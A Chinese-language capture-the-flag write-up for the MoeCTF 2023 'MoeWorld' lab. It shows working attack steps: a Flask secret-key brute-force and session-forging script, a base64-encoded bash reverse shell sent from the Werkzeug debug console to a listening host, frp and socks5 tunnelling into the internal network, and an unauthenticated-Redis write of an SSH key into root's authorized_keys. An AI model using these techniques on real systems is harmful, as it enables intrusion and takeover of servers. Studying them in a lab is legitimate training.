跳转至

每日一题 —— [MoeCTF 2023]MoeWorld

题目地址:https://github.com/XDSEC/MoeCTF_2023/tree/main 自己克隆了之后搭建环境

搭建环境

决定要做这道题目的话,因为题目已经下线了,所以我们需要先去搭建环境。先看一下克隆下来的目录,有三个文件夹,并且还有一个 docker-compose.yml 。那么我们就按照这个文件搭建环境。

首先,我们先要处理一下这个环境的一些 bug. 我认为这个环境在上线的时候可能和实际代码不太一样,如果直接使用 docker compose up -d 的话,可能会出现一些无法搭建的问题。所以我们需要按照报错修改一下环境。

redis 无法拉取

首先就是环境因为网络原因起不来,尤其是 redis 那个服务,虽然出题人已经修改了源仓库,但是还是没有完全修改,仍然有部分文件会从 debian 那边官方源拉取。(当然最终的报错好像不是因为官方源,而是镜像源缺少了某个文件)我们这里采用的是直接代理的解决方式,既然无法覆盖所有的源,那么我们就直接使用官方的源。

编辑 3_redis/dockerfile:

FROM redis:6

# COPY sources.list /etc/apt/sources.list
ENV http_proxy=http://192.168.0.105:7890
RUN apt-get update && apt-get install -y openssh-server
COPY redis.conf /etc/redis/redis.conf
COPY sshd_config /etc/ssh/sshd_config
COPY start.sh /start.sh
COPY ./flag /flag
RUN chmod +x /start.sh
EXPOSE 6379
EXPOSE 22

# 运行 Redis 服务器
CMD [ "/start.sh" ]

注意到第三行和第四行,我们这里注释掉了第三行是因为我们直接使用官方的源,所以不需要修改。第四行就是我们添加的代理,这里我使用的是 192.168.0.105 这个 IP地址,采用的便是我的物理机的外部 ip。这个 ip 地址可能会变化,但是无所谓,暂时用一下,build 完成就不用管了。至于代理服务器怎么配置就自己想办法了,需要能够顺利连接 debian 官方源哦

吐槽

插一句:因为"出去旅游的心海"那道题的阴间出题人给的链接全部失效了,所以我压根就没有题目的 moeworld.zip 的解压密码。最终我只能根据各种 wp 来猜测里面的内容。比如说 README.md 。所以说知道写这篇文章的时候,我才知道题目源码里的 README.md 的内容:可能由于换源不完全导致更新特别慢。你瞧瞧,这出题人还知道他换源没换好。。。

到此一步应该就可以正常启用服务了:

docker compose up -d

mysql 无法连接

现在访问 http://localhost:8000 的话,虽然发现已经出现题目网页环境了,但是我们尝试登陆和注册的话,会发现半天没有反应,然后报错,显示 mysql 连接失败。使用 docker log 查看日志,会发现是 mysql 服务版本出现问题了。这时候我们就需要更改题目给的 mysql 版本了。

可以看到,题目给的 docker-compose.yml 文件里,mysql 的版本是 5.7。我们需要按照 db.sql 给的那个版本号改一下,也就是 8.0.24

编辑 2_mysql/dockerfile

FROM mysql:8.0.24 
ENV MYSQL_ROOT_PASSWORD=The_P0sswOrD_Y0u_Nev3r_Kn0w
COPY db.sql /docker-entrypoint-initdb.d/
EXPOSE 3306

主要更改的是第一行。我也不知道为什么出题人会后来改成了 5.7。明明 readme 文件里面用来保存 .sql 文件的命令得到的文件名都不一样。

更改完之后,我们重新构建一下,就可以启动我们的环境了。

docker compose up -d --force-recreate --build

网段占用

这个情况一般情况下不太容易出现,我写在这里是因为我出现了这个情况。具体原因是因为,使用 docker-compose 进行环境构建时会生成一个 net 网络,而如果生成 net 网络而之后不执行 docker compose down 的话,这个 net 网络就会一直存在。因为这道题涉及内网渗透,需要手动设置网段,所以运气不好和以前遗留下来的网段冲突了,导致无法连接。

首先看一眼遗留下来的网段:

docker network ls

然后清除一下不在运行的 net 网络:

docker network prune

这条命令会让你清楚所有无用的 net 网络。如果这样之后还是无法建立起环境,就只能劳烦自己去手动检查所有 docker-compose 环境了。

开始做题

既然现在环境搭建起来了,那么我们就开始按照正常步骤做题。

flag1

首先我们先看看题目网页。默认设置的端口是 8000 ,我们访问 localhost:8000 是一个登陆注册页面。因为是公共环境,所以多半也是没法对登陆步骤做什么太多想法,就正常注册登陆进去,发现是一个留言板。根据出题人的提示,留言板只是增强了互动性,所以我们直接看 admin 留下来的信息:

记录一下搭建留言板的过程
首先确定好web框架,笔者选择使用简单的flask框架。
然后使用强且随机的字符串作为session的密钥。
app.secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()
最后再写一下路由和数据库处理的函数就完成啦!!
身为web手的我为了保护好服务器,写代码的时候十分谨慎,一定不会让有心人有可乘之机!

所以说,这道题的思路就是 session 伪造。那么要做到伪造 session, 首先要做到的就是知道 Flask 的 secret_key。由于我们暂时不知道 Flask 通过 secret_key 生成 session 字符串的算法,大概和 RSA 差不多,但是我只能去找有没有现成的工具了。

通过 https://github.com/noraj/flask-session-cookie-manager/ 这个项目,可以通过命令行来生成 session 字符串。但是我们想要爆破 secret_key ,所以我直接把他的核心代码复制了出来,写出来这个脚本:

session.py
import zlib
from itsdangerous import base64_decode
import ast
import os
from flask.sessions import SecureCookieSessionInterface


class MockApp(object):
    def __init__(self, secret_key):
        self.secret_key = secret_key


class FSCM:
    def encode(secret_key, session_cookie_structure):
        """ Encode a Flask session cookie """
        try:
            app = MockApp(secret_key)

            session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
            si = SecureCookieSessionInterface()
            s = si.get_signing_serializer(app)

            return s.dumps(session_cookie_structure)
        except Exception as e:
            return "[Encoding error] {}".format(e)

    @staticmethod
    def decode(session_cookie_value, secret_key=None):
        try:
            if secret_key is None:
                compressed = False
                payload = session_cookie_value
                if payload.startswith('.'):
                    compressed = True
                    payload = payload[1:]
                data = payload.split(".")[0]
                data = base64_decode(data)
                if compressed:
                    data = zlib.decompress(data)
                return data
            else:
                app = MockApp(secret_key)
                si = SecureCookieSessionInterface()
                s = si.get_signing_serializer(app)

                return s.loads(session_cookie_value)
        except Exception as e:
            return "[Decoding error] {}".format(e)

if __name__ == "__main__":
    cookie2 = 'eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6IjEyMzEyMyJ9.ZpzJyA.ebfvnwLG7PzqR3bRrUWgnEvdh4c'
    key1 = "This-random-secretKey-you-can't-get"

    ## step1
    # while True:
    #     key = key1 + os.urandom(2).hex()
    #     r = FSCM.decode(secret_key=key, session_cookie_value=cookie2)
    #     if 'error' not in r:
    #         print(key)

    ## step2
    key = key1 + "6c4a"
    content = '{"power":"admin","user":"123123"}'
    print(FSCM.encode(key, content))

简单解释一下,这个 FSCM 类就是用来生成 session 和验证 session 的。它的 decode 方法与其说是解码,不如说是 verify 验证。然后就是 main 方法,就是反注释 step1 时,就可以爆破出 secret_key ,反注释 step2 就可以生成我们自己的 session。具体来说,我们只要把 power 这一项从 guest 改为 admin 就可以获得管理员权限了。

吐槽

这里有个问题就是:如果你把 user 这一项改为 admin 的话,你就可以删掉出题人预留的信息了。如此一搞害得我重新启用了容器。

另外我在后来查看了网站的 mysql 数据库,发现 adminpower 那一项其实是 power=root 。我也不知道为什么在这里就改成 power=admin 了。

然后,我们就看到了 admin 留下来的新消息:

今天测试留言板的时候发现我的调试模式给出的pin码一直是698-330-383不变,真是奇怪呢
不过这个泄露了貌似很危险,别人就可以进我的console执行任意python代码了!
一定不能泄露出去!!!!

如果有自己建立过 Flask 程序的话就会知道,启动 debug 模式的时候会生成一个 PIN 码。这个 PIN 码的作用就是用来在前台进入 console 执行 python 命令用的。除了构造报错,使得 Flask 进入报错页面使用 console,还有一招更直接的(我死活搜不到的)—— 直接在 url 后面跟上一个 /console 就可以了。

吐槽

出题人说是 PIN 码一直不变,其实 PIN 码的生成是完全随机的,和机器型号、软件版本有关。在一部分题目里,是需要你根据题目给出的已知信息和挖掘出的信息,手动计算 PIN 码的。在这里出题人其实是专门写了一个 getPIN.py 来获取 PIN 码,最后丢给你说是它不变了。

现在进入 console,输入 PIN 码,然后可以进行 python 的命令执行。

我们现在直接导入 os 模块,然后反弹一下 shell ,就可以从外网渗透进去了。

# 方案一
import os
os.popen('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTU1Lzg4ODggMD4mMQ==" | base64 -d | bash').read()

# 方案二
"".__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTU1Lzg4ODggMD4mMQ==" | base64 -d | bash').read()

所谓方案二,其实就是类似于 SSTI 那边的做法。只是我一开始脑子没转过弯来,忘记可以直接导入 os 模块罢了。

于此同时在另一边,你的 VPS 上,需要使用 nc 监听一下:

nc -lvvp 8888

这样的话,就成功反弹 shell 了。

我们还可以升级一下我们的 shell,因为待会需要的内网渗透都需要用到这个 shell,别不小心 Ctrl+C 断掉了就亏了。

export TERM=xterm-256color # 让终端有颜色
python3 -c 'import pty;pty.spawn("/bin/bash")' # 使用 bash 终端
# 这里使用 Ctrl+Z 暂停一下反弹 shell 
stty raw -echo; fg # 开启终端交互模式
reset # 重启终端

现在我们就已经完成了外网的渗透,直接 ls / 就可以获得 flag1, 并且看一下出题人给的提示。

flag1
moectf{Information-leakage-Is-dangerous!
readme
恭喜你通过外网渗透拿下了本台服务器的权限
接下来,你需要尝试内网渗透,本服务器的/app/tools目录下内置了fscan
你需要了解它的基本用法,然后扫描内网的ip段
如果你进行了正确的操作,会得到类似下面的结果
10.1.11.11:22 open
10.1.23.21:8080 open
10.1.23.23:9000 open
将你得到的若干个端口号从小到大排序并以 - 分割,这一串即为hint.zip压缩包的密码(本例中,密码为:22-8080-9000)
注意:请忽略掉xx.xx.xx.1,例如扫出三个ip 192.168.0.1 192.168.0.2 192.168.0.3 ,请忽略掉有关192.168.0.1的所有结果!此为出题人服务器上的其它正常服务
对密码有疑问随时咨询出题人

flag2

按照提示,我们需要扫一下内网了。首先我们先要确定一下我们手上的这个靶机,也就是运行 flask 的机子的 ip 地址:

hostname -i
# 172.21.0.3 172.20.0.4

然后我们就按照提示,使用 fscan 来搜索一下

./fscan -h 172.21.0.1/24
./fscan -h 172.20.0.1/24

根据提示,我们看到 172.21.0.1/24 这个网段是外网网段,一堆 172.21.0.1 的服务,把我主机挂的乱七八糟各种服务都扫出来了。那没办法,看一眼 172.20.0.1/24 网段吧。

(icmp) Target 172.20.0.1      is alive
(icmp) Target 172.20.0.2      is alive
(icmp) Target 172.20.0.3      is alive
(icmp) Target 172.20.0.4      is alive                    
[*] Icmp alive hosts len is: 4                                          
172.20.0.1:22 open                                                      
172.20.0.1:7890 open                                                                                                                             
172.20.0.3:3306 open                                                                                                                             
172.20.0.2:22 open
172.20.0.2:6379 open                                                                                                                             
172.20.0.4:8080 open

扫描了内网的 172.20.0.1/24 网段,去除掉 172.20.0.1 这一台主机,剩下三台主机,集齐它们开放的端口,从小到大排序,也就是 22-3306-6379-8080 。这个也就是 hint.zip 的解压密码。不过因为我连外层解压密码也不知道,那么就只能看源码给出的信息了:

hint
当你看到此部分,证明你正确的进行了fscan的操作得到了正确的结果
可以看到,在本内网下还有另外两台服务器
其中一台开启了22(ssh)和6379(redis)端口
另一台开启了3306(mysql)端口
还有一台正是你访问到的留言板服务
接下来,你可能需要搭建代理,从而使你的本机能直接访问到内网的服务器
此处可了解`nps`和`frp`,同样在/app/tools已内置了相应文件
连接代理,推荐`proxychains`
对于mysql服务器,你需要找到其账号密码并成功连接,在数据库中找到flag2
对于redis服务器,你可以学习其相关的渗透技巧,从而获取到redis的权限,并进一步寻找其getshell的方式,最终得到flag3

根据爆出来的端口信息,我们可以知道 172.20.0.3 运行的就是 mysql,我们先获取一下它的账号密码。通过 /app/dataSql.py 这个文件,我们可以知道账号密码:

dataSql.py
db = pymysql.connect(                                   
    host="mysql",  # 数据库地址                                                                                                  
    port=3306,  # 数据库端口                            
    user="root",  # 数据库用户名                                                                                                 
    passwd="The_P0sswOrD_Y0u_Nev3r_Kn0w",  # 数据库密码 
    database="messageboard",  # 数据库名                
    charset='utf8'                                                                                                               
)      

既然已经获得了 mysql 的账号密码,我们原则上是可以直接登陆的,但是问题是我们目前获得的靶机是没有 mysql 的命令的。根据提示,我们可以把内网的端口映射出去,然后在有 mysql 命令的机器上进行连接。题目提供了 frp ,我对 frp 比较熟悉,就使用这个方案。我在这里就选择直接把内网靶机的 3306 端口映射出去。

首先,我们需要写入一个 frpc.ini 文件,内容如下:

frpc.ini
[common]
server_addr = your_vps
server_port = 7000

[mysql]
type = tcp
remote_port = 7777
local_ip = 172.20.0.3
local_port = 3306

[plugin_socks5]
type = tcp
remote_port = 9015
plugin = socks5

我们暂时忽略第三段,因为第三段是官方推荐的方法,我们带会讲。如果我们只配置了第二段 [mysql] 的话,我们就需要先上我们的 vps 进行 frps 的配置

frps.toml
bindPort = 7000

远程 vps 启动 frps,然后在我们的靶机上,因为没有内置编辑器,并且同目录下的 frpc.ini 文件并没有权限被更改,所以我们编码一下,写入 /tmp 文件中。

echo "W2NvbW1vbl0Kc2VydmVyX2FkZHIgPSB5b3VyX3ZwcwpzZXJ2ZXJfcG9ydCA9IDcwMDAKCltteXNxbF0KdHlwZSA9IHRjcApyZW1vdGVfcG9ydCA9IDc3NzcKbG9jYWxfaXAgPSAxNzIuMjAuMC4zCmxvY2FsX3BvcnQgPSAzMzA2CgpbcGx1Z2luX3NvY2tzNV0KdHlwZSA9IHRjcApyZW1vdGVfcG9ydCA9IDkwMTUKcGx1Z2luID0gc29ja3M1Cg==" | base64 -d > /tmp/frpc.ini

然后,我们就可以利用这个配置文件来启动 frpc

./frpc -c /tmp/frpc.ini

启动之后,我们就可以直接在我们主力机上运行 mysql 命令来连接内网的 mysql 了:

mysql -uroot -h your_vps -P 7777 -p
# 输入密码 The_P0sswOrD_Y0u_Nev3r_Kn0w

第二种方法就是使用 frpc.ini 文件里的第三段,也就是 socks5 代理,当运行这个代理的时候,我们就相当于直接将靶机作为我们的代理服务器然后访问内网服务了。如果使用这个方法,我们可以使用 proxychains 命令,然后在 proxychains.conf 文件最后这么配置:

proxychains.conf
[ProxyList]
socks5 x.x.x.x 9015
这个软件有个不好的地方就是,这里的配置你填入 vps 的地方必须是纯数字 ip 地址。

配置完代理之后,就可以运行代理,然后连接数据库了。

proxychains4 mysql -uroot -h 172.20.0.3 -p
# 输入密码 The_P0sswOrD_Y0u_Nev3r_Kn0w

进入 mysql 之后,就可以直接获取 flag2 了:

use messageboard;
select * from flag;

flag2
-Are-YOu-myS0L-MasT3r?-

flag3

按照提示,我们 flag3 应该向 172.0.0.2 的 redis 服务下手。这台主机除了开启了 6379 端口,还开放了 22 端口,说明它可以被 ssh 连接。根据网上的各种资料,我总算是找到了这个漏洞:redis 未授权访问漏洞。

首先这个漏洞的满足条件就是:

  1. redis 服务没有设置密码
  2. redis 服务主机开启了 22 端口,也就是 ssh 服务

既然靶机满足条件,我们就可以先尝试一下直接连接服务。首先我们先保留之前搭建好的代理:

proxychains4 redis-cli -h 172.20.0.2

发现成功连接,我们就可以开始着手攻击。具体流程大概就是,利用 redis 的持久化备份,把含有我们攻击机的 ssh 公钥写入到靶机的 /root/.ssh/authorized_keys 文件中。然后我们的攻击机就可以直接使用 ssh 连接靶机了。

首先,我们的攻击机需要生成一对 ssh 密钥,当然我已经生成好了。

ssh-keygen -t rsa

一路回车,就会发现自己的 ~/.ssh 目录下生成了 id_rsaid_rsa.pub 两个文件。

然后,我们将 id_rsa.pub 这个文件的内容先存入 redis:

cd ~/.ssh/
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat ~/.ssh/key.txt | proxychains4 redis-cli -h 172.20.0.2 -x set xxx

这里第一行的意思就是说,我们需要把 id_rsa.pub 公钥内容存入 redis 的 xxx 内。前后的换行符的用途就是防止 redis 持久化的格式导致公钥被破坏。第二行就是把公钥内容临时存入 redis 了。现在我们需要持久化一下,并且把他存为 /root/.ssh/authorized_keys 文件。

proxychains4 redis-cli -h 172.20.0.2 
config set dir /root/.ssh
config set dbfilename authorized_keys
save

因为临时恶补了一下 redis 的有关知识,所以这几句话的意思大概就是,设置 redis 持久化的文件为 /root/.ssh/authorized_keys,然后 save 一下就可以了。

现在我们就可以使用我们的主力攻击机去连接 redis 靶机了:

ssh root@172.20.0.2

进去之后,就可以使用 cat /root/flag 获取 flag3 了。

flag3
P@sSW0Rd-F0r-redis-Is-NeceSsary}

最终我们的 flag 就是:

flag
moectf{Information-leakage-Is-dangerous!-Are-YOu-myS0L-MasT3r?-P@sSW0Rd-F0r-redis-Is-NeceSsary}

文章热度:0次阅读